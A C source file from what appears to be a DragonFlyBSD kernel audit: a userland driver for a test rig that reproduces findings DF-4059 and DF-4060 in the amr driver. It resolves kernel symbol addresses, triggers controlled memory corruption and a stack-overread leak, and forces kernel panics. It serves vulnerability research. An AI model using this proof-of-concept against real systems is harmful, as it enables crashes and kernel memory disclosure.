⬢ DragonFlyBSD Kernel Audit
DF-4059 / dfamr_ctl.c
← back to finding ↓ download raw
/*
 * dfamr_ctl.c -- userland driver for the dfamr rig (/dev/dfamr0).
 * Build: cc -O2 -o dfamr_ctl dfamr_ctl.c
 *
 * prime   resolve production statics from nm(1) and poke them via sysctl,
 *         then verify the rig-read prologue bytes against objdump(1) of
 *         /boot/kernel/kernel (no KASLR: file vaddr == runtime vaddr)
 * offs    print the struct offsets the rig operates on
 * b       DF-4059 case B (controlled cluster writes, no crash)
 * leak <depth>  DF-4059 stack-overread disclosure run at call depth
 * a       DF-4059 case A (panic finale)
 * tmo <0|1>    DF-4060 poll-timeout sequence; 1 = panic finale
 * late    DF-4060 late-completion variant
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>

struct rig_offs_args {
	uint64_t off_busycmd, off_busyslots, off_ready;
	uint64_t off_ac_sc, off_ac_slot, off_ac_status, off_ac_flags,
	    off_ac_complete;
	uint64_t sizeof_softc, sizeof_command, sizeof_mailbox;
	uint64_t busykm1_value;
	uint64_t ready_stqh_last;
	uint32_t mchecked;
};

struct rig_4059b_args {
	uint32_t primed;
	uint32_t retry_hint;
	uint32_t slot_byte;
	uint64_t ac0, ac1;
	uint64_t write_off;
	uint64_t write_before, write_after;
	uint64_t decr_off;
	uint32_t decr_before, decr_after;
	uint32_t busycmd1_byte4_after;
	uint32_t ndiff;
	struct { uint64_t off, before, after; } diff[8];
	uint32_t busyslots_real_after;
};

struct rig_4059leak_args {
	uint32_t depth;
	uint32_t zero_bytes, one_bytes, ack_seen, primed;
};

struct rig_4059a_args { uint32_t primed, not_reached; };

struct rig_4060tmo_args {
	uint32_t do_start_finale;
	int32_t poll_err;
	uint32_t poll_ticks;
	uint32_t busy_flag_still_set;
	uint32_t busycmd_holds_ac;
	uint32_t busyslots_after;
	uint32_t freelist_head_is_ac;
	uint32_t busyslots_after_100_done;
	uint32_t recycled_same_cmd;
	uint32_t primed, not_reached;
	int32_t start_err;
};

struct rig_4060late_args {
	int32_t poll_err;
	uint32_t busy_before, busy_after;
	uint32_t status_before, status_after;
	uint32_t still_on_freelist;
	uint32_t busyslots_after;
	uint32_t primed;
};

#define RIGIOC_OFFS	_IOWR('M', 1, struct rig_offs_args)
#define RIGIOC_4059B	_IOWR('M', 2, struct rig_4059b_args)
#define RIGIOC_4059LEAK	_IOWR('M', 3, struct rig_4059leak_args)
#define RIGIOC_4059A	_IOWR('M', 4, struct rig_4059a_args)
#define RIGIOC_4060TMO	_IOWR('M', 5, struct rig_4060tmo_args)
#define RIGIOC_4060LATE	_IOWR('M', 6, struct rig_4060late_args)

static int fd = -1;

static int
prime(const char *kn, const char *sysctl)
{
	char cmd[256], buf[256];
	unsigned long v;
	FILE *f;

	snprintf(cmd, sizeof(cmd), "/usr/bin/nm /boot/kernel/kernel | grep ' %s$'", kn);
	f = popen(cmd, "r");
	if (f == NULL) { fprintf(stderr, "prime: popen failed\n"); return (1); }
	if (fgets(buf, sizeof(buf), f) == NULL) {
		fprintf(stderr, "prime: symbol %s not found\n", kn);
		pclose(f);
		return (1);
	}
	pclose(f);
	v = strtoul(buf, NULL, 16);
	if (v == 0 || v > 0xffffffffffff0000UL) {
		fprintf(stderr, "prime: bad addr for %s: %s\n", kn, buf);
		return (1);
	}
	if (sysctlbyname(sysctl, NULL, 0, &v, sizeof(v)) != 0) {
		fprintf(stderr, "prime: sysctl %s failed\n", sysctl);
		return (1);
	}
	printf("[prime] %s = 0x%lx\n", sysctl, v);
	return (0);
}

/* read the first 8 bytes of a symbol from the kernel ELF via objdump */
static int
objdump_bytes(unsigned long addr, unsigned char out[8])
{
	char cmd[256], buf[1024];
	FILE *f;
	int got = 0;

	snprintf(cmd, sizeof(cmd),
	    "/usr/bin/objdump -d --start-address=0x%lx --stop-address=0x%lx "
	    "/boot/kernel/kernel", addr, addr + 8);
	f = popen(cmd, "r");
	if (f == NULL) return (-1);
	while (fgets(buf, sizeof(buf), f) != NULL) {
		/* lines look like: " ffffffff803429a0:\t55 48 89 e5 \tmnemonic" */
		char *tab = strchr(buf, '\t');
		char *end, *p;
		if (tab == NULL) continue;
		/* bytes end at the second tab (before the mnemonic) */
		end = strchr(tab + 1, '\t');
		if (end == NULL)
			end = strchr(tab + 1, '\n');
		if (end == NULL)
			end = buf + strlen(buf);
		p = tab + 1;
		while (*p != '\0' && p < end && got < 8) {
			if (p[0] == ' ' || p[0] == '\t' || p[0] == '\n') { p++; continue; }
			char *e2;
			long b = strtol(p, &e2, 16);
			if (e2 == p) break;
			out[got++] = (unsigned char)b;
			p = e2;
		}
	}
	pclose(f);
	return (got == 8 ? 0 : -1);
}

static int
magic_check(const char *m_sysctl, const char *kn)
{
	unsigned long runtime, file_v = 0;
	unsigned char fb[8];
	size_t l = sizeof(runtime);
	unsigned long addr;

	if (sysctlbyname(m_sysctl, &runtime, &l, NULL, 0) != 0)
		err(1, m_sysctl);
	/* symbol address again */
	{
		char cmd[256], buf[256];
		FILE *f;
		snprintf(cmd, sizeof(cmd),
		    "/usr/bin/nm /boot/kernel/kernel | grep ' %s$'", kn);
		f = popen(cmd, "r");
		if (f == NULL || fgets(buf, sizeof(buf), f) == NULL)
			err(1, "nm for magic");
		pclose(f);
		addr = strtoul(buf, NULL, 16);
	}
	if (objdump_bytes(addr, fb) != 0) {
		printf("[magic] %s: objdump parse failed (skipping)\n", m_sysctl);
		return (0);
	}
	memcpy(&file_v, fb, 8);
	if (file_v == runtime) {
		printf("[magic] %s runtime=0x%016lx == file OK\n", m_sysctl, runtime);
		return (0);
	}
	printf("[magic] %s MISMATCH runtime=0x%016lx file=0x%016lx\n",
	    m_sysctl, runtime, file_v);
	return (1);
}

static void
mustopen(void)
{
	if (fd >= 0)
		return;
	fd = open("/dev/dfamr0", O_RDWR);
	if (fd < 0)
		err(1, "open /dev/dfamr0");
}

int
main(int argc, char **argv)
{
	if (argc < 2) {
		fprintf(stderr, "usage: %s prime|magic|offs|b|leak d|a|tmo f|late\n",
		    argv[0]);
		return (1);
	}

	if (!strcmp(argv[1], "prime")) {
		int rc = 0;
		rc |= prime("amr_start", "kern.dfamr_a_amrstart");
		rc |= prime("amr_std_poll_command", "kern.dfamr_a_amrstdpoll");
		rc |= prime("amr_std_get_work", "kern.dfamr_a_amrstdgetwork");
		rc |= prime("amr_std_submit_command", "kern.dfamr_a_amrstdsubmit");
		return (rc == 0 ? 0 : 1);
	}
	if (!strcmp(argv[1], "magic")) {
		int rc = 0;
		rc |= magic_check("kern.dfamr_m_amrstart", "amr_start");
		rc |= magic_check("kern.dfamr_m_amrstdpoll", "amr_std_poll_command");
		rc |= magic_check("kern.dfamr_m_amrstdgetwork", "amr_std_get_work");
		rc |= magic_check("kern.dfamr_m_amrstdsubmit", "amr_std_submit_command");
		return (rc == 0 ? 0 : 1);
	}

	mustopen();

	if (!strcmp(argv[1], "offs")) {
		struct rig_offs_args a;
		memset(&a, 0, sizeof(a));
		if (ioctl(fd, RIGIOC_OFFS, &a) != 0) err(1, "OFFS");
		printf("[offs] softc: busycmd=%llu busyslots=%llu ready=%llu "
		    "sizeof=%llu\n",
		    (unsigned long long)a.off_busycmd,
		    (unsigned long long)a.off_busyslots,
		    (unsigned long long)a.off_ready,
		    (unsigned long long)a.sizeof_softc);
		printf("[offs] command: ac_sc=%llu ac_slot=%llu ac_status=%llu "
		    "ac_flags=%llu ac_complete=%llu sizeof=%llu\n",
		    (unsigned long long)a.off_ac_sc,
		    (unsigned long long)a.off_ac_slot,
		    (unsigned long long)a.off_ac_status,
		    (unsigned long long)a.off_ac_flags,
		    (unsigned long long)a.off_ac_complete,
		    (unsigned long long)a.sizeof_command);
		printf("[offs] mailbox sizeof=%llu; busycmd[-1]=0x%llx "
		    "(&amr_ready.stqh_first=0x%llx, match=%u)\n",
		    (unsigned long long)a.sizeof_mailbox,
		    (unsigned long long)a.busykm1_value,
		    (unsigned long long)a.ready_stqh_last, a.mchecked);
		return (0);
	}
	if (!strcmp(argv[1], "b")) {
		struct rig_4059b_args a;
		int tries;
		memset(&a, 0, sizeof(a));
		for (tries = 0; tries < 6; tries++) {
			if (ioctl(fd, RIGIOC_4059B, &a) != 0) err(1, "4059B");
			if (!a.retry_hint)
				break;
			memset(&a, 0, sizeof(a));
		}
		printf("[4059B] primed=%u tries=%d ac0=%p ac1=%p slot_byte=%u\n",
		    a.primed, tries + 1, (void *)a.ac0, (void *)a.ac1, a.slot_byte);
		printf("[4059B] NULL store @softc+%llu: 0x%016llx -> 0x%016llx\n",
		    (unsigned long long)a.write_off,
		    (unsigned long long)a.write_before,
		    (unsigned long long)a.write_after);
		printf("[4059B] busyslots decr @softc+%llu: 0x%x -> 0x%x\n",
		    (unsigned long long)a.decr_off, a.decr_before, a.decr_after);
		printf("[4059B] ac_status store corrupted busycmd[0] byte4: 0x%x "
		    "(mb_status 0x5a)\n", a.busycmd1_byte4_after);
		printf("[4059B] real sc busyslots after: %u\n",
		    a.busyslots_real_after);
		printf("[4059B] cluster diffs: %u\n", a.ndiff);
		for (int i = 0; i < (int)a.ndiff; i++)
			printf("[4059B]   +%llu: 0x%016llx -> 0x%016llx\n",
			    (unsigned long long)a.diff[i].off,
			    (unsigned long long)a.diff[i].before,
			    (unsigned long long)a.diff[i].after);
		return (0);
	}
	if (!strcmp(argv[1], "leak")) {
		struct rig_4059leak_args a;
		memset(&a, 0, sizeof(a));
		a.depth = argc > 2 ? strtoul(argv[2], NULL, 0) : 2;
		if (ioctl(fd, RIGIOC_4059LEAK, &a) != 0) err(1, "4059LEAK");
		printf("[4059LEAK] depth=%u ack_seen=%u (parse dmesg between "
		    "the BEGIN/END markers)\n", a.depth, a.ack_seen);
		return (0);
	}
	if (!strcmp(argv[1], "a")) {
		struct rig_4059a_args a;
		memset(&a, 0, sizeof(a));
		if (ioctl(fd, RIGIOC_4059A, &a) != 0) err(1, "4059A");
		printf("[4059A] not_reached=%u (expected kernel death)\n",
		    a.not_reached);
		return (0);
	}
	if (!strcmp(argv[1], "tmo")) {
		struct rig_4060tmo_args a;
		memset(&a, 0, sizeof(a));
		a.do_start_finale = argc > 2 ? strtoul(argv[2], NULL, 0) : 0;
		if (ioctl(fd, RIGIOC_4060TMO, &a) != 0) err(1, "4060TMO");
		printf("[4060TMO] poll_err=%d ticks=%u\n", a.poll_err, a.poll_ticks);
		printf("[4060TMO] after timeout: BUSY_still_set=%u "
		    "busycmd_holds_ac=%u busyslots=%u\n",
		    a.busy_flag_still_set, a.busycmd_holds_ac, a.busyslots_after);
		printf("[4060TMO] after releasecmd: freelist_head_is_ac=%u; "
		    "busyslots after 100x amr_done=%u (rescan_drives livelock "
		    "precondition)\n", a.freelist_head_is_ac,
		    a.busyslots_after_100_done);
		printf("[4060TMO] recycled_same_cmd=%u start_finale=%u "
		    "start_err=%d not_reached=%u\n", a.recycled_same_cmd,
		    a.do_start_finale, a.start_err, a.not_reached);
		return (0);
	}
	if (!strcmp(argv[1], "late")) {
		struct rig_4060late_args a;
		memset(&a, 0, sizeof(a));
		if (ioctl(fd, RIGIOC_4060LATE, &a) != 0) err(1, "4060LATE");
		printf("[4060LATE] poll_err=%d; status 0x%x->0x%x busy %u->%u "
		    "still_on_freelist=%u busyslots=%u\n", a.poll_err,
		    a.status_before, a.status_after, a.busy_before, a.busy_after,
		    a.still_on_freelist, a.busyslots_after);
		return (0);
	}
	fprintf(stderr, "unknown cmd %s\n", argv[1]);
	return (1);
}